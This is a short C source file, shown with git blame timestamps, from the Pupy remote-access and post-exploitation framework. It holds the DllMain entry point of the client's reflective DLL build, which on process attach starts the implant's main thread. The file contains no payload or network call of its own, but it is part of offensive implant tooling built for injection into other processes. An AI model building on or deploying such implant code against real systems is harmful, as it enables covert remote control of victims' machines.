pupy/client/sources/main_reflective.c

43 lines
1.1 KiB
C
Raw Normal View History

2015-09-21 19:53:37 +00:00
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
2015-09-21 19:53:37 +00:00
#include <windows.h>
#include "pupy_load.h"
#include "ReflectiveDllInjection.h"
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
HANDLE hThread;
DWORD threadId;
BOOL bReturnValue = TRUE;
switch( dwReason )
{
2015-09-21 19:53:37 +00:00
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
2017-09-15 15:52:36 +00:00
mainThread(NULL);
/*
2015-09-21 19:53:37 +00:00
hThread = CreateThread(NULL,
0, // dwStackSize
mainThread, // lpStartAddress
NULL, // lpParameter
0, // dwCreationFlags (0==run right after creation)
&threadId
);
2017-09-15 15:52:36 +00:00
*/
2015-09-21 19:53:37 +00:00
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}